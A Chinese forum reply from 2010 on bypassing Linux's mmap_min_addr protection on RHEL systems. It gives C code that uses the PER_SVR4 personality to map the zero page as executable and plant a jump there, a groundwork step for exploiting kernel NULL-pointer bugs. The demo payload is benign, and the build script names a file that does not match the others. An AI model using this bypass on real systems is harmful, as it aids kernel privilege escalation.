- 论坛徽章:
- 0
|
原帖由 Godbach 于 2010-1-16 22:15 发表 ![]()
WZT兄,我在我的测试环境中,默认用了RHEL5.2的内核,禁用了Selinux之后,重启系统,mmap_min_addr文件还存在,可以如你说的应该失效了。
执行getenforce得到的结果也是:Disabled。
然后执行exp的程序, ...
我这没有as5.2的内核, 你可以再在自己build的2.6.18.3系统上测试下exp程序, 如果成功了, 说明as5.2的系统打了什么补丁禁止mprotect的修改了。 我猜测的
BTW: 我在as5.4下都能修改成功。
mmap.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/personality.h>
- #include <sys/mman.h>
- #include <errno.h>
- void test_code(void)
- {
- printf("We are mmapped in zero memory!\n");
- }
- int mmap_zero_memory(void)
- {
- void *mem;
- if ((personality(0xffffffff)) != PER_SVR4) {
- mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC,
- MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
- if (mem == MAP_FAILED || mem != NULL) {
- fprintf(stderr, "[+] Try fix mmap prot.\n");
- mem = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
- MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
- if (mem == MAP_FAILED || mem != NULL) {
- fprintf(stderr,
- "[-] Unable mmap to zero memory.\n");
- return -1;
- }
- }
- if (mem == NULL) {
- fprintf(stderr, "[+] Mmap to zero memroy.\n");\
- }
- }
- else {
- if (mprotect(0x0, 0x10, PROT_READ | PROT_WRITE | PROT_EXEC)
- == -1) {
- perror("mprotect");
- fprintf(stderr, "[-] Unable mmap to zero memory.\n");
- return -1;
- }
- fprintf(stderr, "[+] Mprotect zero memroy success.\n");
- }
- *(char *)0 = '\x90';
- *(char *)1 = '\xe9';
- *(unsigned long *)2 = (unsigned long)&test_code - 6;
- return 0;
- }
- int main(void)
- {
- mmap_zero_memory();
- }
复制代码
run.c
- #include <sys/personality.h>
- #include <stdio.h>
- #include <unistd.h>
- int main(void) {
- if (personality(PER_SVR4) < 0) {
- perror("personality");
- return -1;
- }
- fprintf(stderr, "set personality PER_SVR4 successful.\n");
- execl("./mmap", "mmap", 0);
- }
复制代码
run.sh
- #!/bin/sh
- gcc -o run run.c && \
- gcc -o exploit exploit.c && \
- ./run
复制代码
[ 本帖最后由 W.Z.T 于 2010-1-17 11:36 编辑 ] |
|